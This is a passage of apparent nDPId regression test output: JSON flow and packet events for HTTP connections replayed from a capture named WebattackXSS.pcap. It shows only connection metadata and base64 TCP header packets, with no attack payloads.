+00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":5011,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":312,"flow_packet_id":6,"flow_first_seen":1499347498249,"flow_last_seen":1499347503750,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57832,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":5011,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":312,"flow_packet_id":6,"flow_first_seen":1499347498249,"flow_last_seen":1499347503750,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57832,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":5011,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":313,"flow_packet_id":6,"flow_first_seen":1499347499500,"flow_last_seen":1499347504749,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57846,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":5011,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":313,"flow_packet_id":6,"flow_first_seen":1499347499500,"flow_last_seen":1499347504749,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57846,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":5011,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":314,"flow_packet_id":6,"flow_first_seen":1499347500770,"flow_last_seen":1499347506751,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57860,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":5011,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":314,"flow_packet_id":6,"flow_first_seen":1499347500770,"flow_last_seen":1499347506751,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57860,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":5020,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":355,"flow_packet_id":1,"flow_first_seen":1499347569321,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58590,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":355,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5020,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347569,"pkt_ts_usec":321023,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8g25AAD4GQmKsEAABwKgKMuTeAFCWQ7AYAAAAAKACchD+xwAAAgQFtAQCCAoBOzN2AAAAAAEDAwc="} +00444{"flow_id":355,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5021,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347569,"pkt_ts_usec":321119,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ5N7q6xnjlkOwGaAScSDyBwAAAgQFtAQCCAoD5QTrATszdgEDAwc="} +00432{"flow_id":355,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5022,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347569,"pkt_ts_usec":321909,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0g29AAD4GQmmsEAABwKgKMuTeAFCWQ7AZ6usZ5IAQAOWRDwAAAQEICgE7M3YD5QTr"} +00433{"flow_id":352,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5026,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347569,"pkt_ts_usec":769661,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA07XBAAD4G2GesEAABwKgKMuSoAFCF1MMYENBFXIARAOVB5QAAAQEICgE7M+YD5P\/u"} +00432{"flow_id":352,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5027,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347569,"pkt_ts_usec":769872,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0QAdAAEAGg9HAqAoyrBAAAQBQ5KgQ0EVchdTDGYARAOM8eQAAAQEICgPlBVsBOzPm"} +00432{"flow_id":352,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5028,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347569,"pkt_ts_usec":770441,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA07XFAAD4G2GasEAABwKgKMuSoAFCF1MMZENBFXYAQAOU8dwAAAQEICgE7M+YD5QVb"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":5032,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":356,"flow_packet_id":1,"flow_first_seen":1499347570571,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58604,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":356,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5032,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347570,"pkt_ts_usec":571578,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8l0FAAD4GLo+sEAABwKgKMuTsAFD4v6PuAAAAAKACchCnLgAAAgQFtAQCCAoBOzSvAAAAAAEDAwc="} +00444{"flow_id":356,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5033,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347570,"pkt_ts_usec":571722,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ5Ow6nDyd+L+j76AScSAmywAAAgQFtAQCCAoD5QYkATs0rwEDAwc="} +00432{"flow_id":356,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5034,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347570,"pkt_ts_usec":572473,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0l0JAAD4GLpasEAABwKgKMuTsAFD4v6PvOpw8noAQAOXF0gAAAQEICgE7NK8D5QYk"} +00432{"flow_id":353,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5038,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347570,"pkt_ts_usec":770571,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0CL1AAD4GvRusEAABwKgKMuS2AFBcaycMviGHTYARAOUV2AAAAQEICgE7NOAD5QEm"} +00432{"flow_id":353,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5039,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347570,"pkt_ts_usec":770802,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0gRtAAEAGQr3AqAoyrBAAAQBQ5La+IYdNXGsnDYARAOMQqQAAAQEICgPlBlYBOzTg"} +00432{"flow_id":353,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5040,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347570,"pkt_ts_usec":771533,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0CL5AAD4GvRqsEAABwKgKMuS2AFBcaycNviGHToAQAOUQpgAAAQEICgE7NOED5QZW"} +00432{"flow_id":354,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5044,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347571,"pkt_ts_usec":770684,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0bllAAD4GV3+sEAABwKgKMuTEAFDBpl684iwMIoARAOXNyQAAAQEICgE7NdoD5QJh"} +00432{"flow_id":354,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5045,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347571,"pkt_ts_usec":770902,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0C3JAAEAGuGbAqAoyrBAAAQBQ5MTiLAwiwaZevYARAOPI2wAAAQEICgPlB1ABOzXa"} +00432{"flow_id":354,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5046,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347571,"pkt_ts_usec":771447,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0blpAAD4GV36sEAABwKgKMuTEAFDBpl694iwMI4AQAOXI2AAAAQEICgE7NdsD5QdQ"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":5053,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":357,"flow_packet_id":1,"flow_first_seen":1499347573065,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58630,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":357,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5053,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347573,"pkt_ts_usec":65713,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8STJAAD4GfJ6sEAABwKgKMuUGAFCilH4sAAAAAKACchAgkwAAAgQFtAQCCAoBOzceAAAAAAEDAwc="} +00444{"flow_id":357,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5054,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347573,"pkt_ts_usec":65885,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ5Qbzm\/YPopR+LaAScSArTgAAAgQFtAQCCAoD5QiTATs3HgEDAwc="} +00431{"flow_id":357,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5055,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347573,"pkt_ts_usec":66602,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0STNAAD4GfKWsEAABwKgKMuUGAFCilH4t85v2EIAQAOXKVQAAAQEICgE7Nx4D5QiT"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":5062,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":358,"flow_packet_id":1,"flow_first_seen":1499347574366,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58650,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":358,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5062,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347574,"pkt_ts_usec":366801,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8umZAAD4GC2qsEAABwKgKMuUaAFCmeIIFAAAAAKACchAXfQAAAgQFtAQCCAoBOzhjAAAAAAEDAwc="} +00444{"flow_id":358,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5063,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347574,"pkt_ts_usec":366958,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ5RoJ5n+MpniCBqAScSCBKwAAAgQFtAQCCAoD5QnZATs4YwEDAwc="} +00433{"flow_id":358,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5064,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347574,"pkt_ts_usec":367683,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0umdAAD4GC3GsEAABwKgKMuUaAFCmeIIGCeZ\/jYAQAOUgMgAAAQEICgE7OGQD5QnZ"} +00432{"flow_id":355,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5068,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347574,"pkt_ts_usec":771243,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0g3BAAD4GQmisEAABwKgKMuTeAFCWQ7AZ6usZ5IARAOWLuwAAAQEICgE7OMkD5QTr"} +00433{"flow_id":355,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5069,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347574,"pkt_ts_usec":771460,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0E9pAAEAGr\/7AqAoyrBAAAQBQ5N7q6xnklkOwGoARAOOGaQAAAQEICgPlCj4BOzjJ"} +00432{"flow_id":355,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5070,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347574,"pkt_ts_usec":772050,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0g3FAAD4GQmesEAABwKgKMuTeAFCWQ7Aa6usZ5YAQAOWGZwAAAQEICgE7OMkD5Qo+"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":5074,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":359,"flow_packet_id":1,"flow_first_seen":1499347575652,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58664,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":359,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5074,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347575,"pkt_ts_usec":652327,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8XdZAAD4GZ\/qsEAABwKgKMuUoAFDuGWRzAAAAAKACchDsHQAAAgQFtAQCCAoBOzmlAAAAAAEDAwc="} +00444{"flow_id":359,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5075,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347575,"pkt_ts_usec":652445,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ5Sh6374H7hlkdKAScSClFgAAAgQFtAQCCAoD5QsaATs5pQEDAwc="} +00432{"flow_id":359,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5076,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347575,"pkt_ts_usec":653228,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0XddAAD4GaAGsEAABwKgKMuUoAFDuGWR0et++CIAQAOVEHgAAAQEICgE7OaUD5Qsa"} +00432{"flow_id":356,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5080,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347575,"pkt_ts_usec":771657,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0l0NAAD4GLpWsEAABwKgKMuTsAFD4v6PvOpw8noARAOXAvQAAAQEICgE7OcMD5QYk"} +00432{"flow_id":356,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5081,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347575,"pkt_ts_usec":771929,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0N6ZAAEAGjDLAqAoyrBAAAQBQ5Ow6nDye+L+j8IARAOO7qgAAAQEICgPlCzgBOznD"} +00432{"flow_id":356,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5082,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347575,"pkt_ts_usec":772692,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0l0RAAD4GLpSsEAABwKgKMuTsAFD4v6PwOpw8n4AQAOW7qAAAAQEICgE7OcMD5Qs4"} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":5089,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":315,"flow_packet_id":6,"flow_first_seen":1499347503273,"flow_last_seen":1499347508751,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57886,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":5089,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":315,"flow_packet_id":6,"flow_first_seen":1499347503273,"flow_last_seen":1499347508751,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57886,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":5089,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":316,"flow_packet_id":6,"flow_first_seen":1499347504529,"flow_last_seen":1499347509751,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57900,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":5089,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":316,"flow_packet_id":6,"flow_first_seen":1499347504529,"flow_last_seen":1499347509751,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57900,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":5089,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":317,"flow_packet_id":6,"flow_first_seen":1499347505774,"flow_last_seen":1499347511753,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57914,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":5089,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":317,"flow_packet_id":6,"flow_first_seen":1499347505774,"flow_last_seen":1499347511753,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57914,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":5089,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":318,"flow_packet_id":6,"flow_first_seen":1499347508344,"flow_last_seen":1499347513753,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57940,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":5089,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":318,"flow_packet_id":6,"flow_first_seen":1499347508344,"flow_last_seen":1499347513753,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57940,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":5089,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":319,"flow_packet_id":6,"flow_first_seen":1499347509601,"flow_last_seen":1499347514754,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57954,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":5089,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":319,"flow_packet_id":6,"flow_first_seen":1499347509601,"flow_last_seen":1499347514754,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57954,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":5089,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":320,"flow_packet_id":6,"flow_first_seen":1499347512081,"flow_last_seen":1499347517753,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57980,"dst_port":80,"l4_proto":"tcp","ndpi": 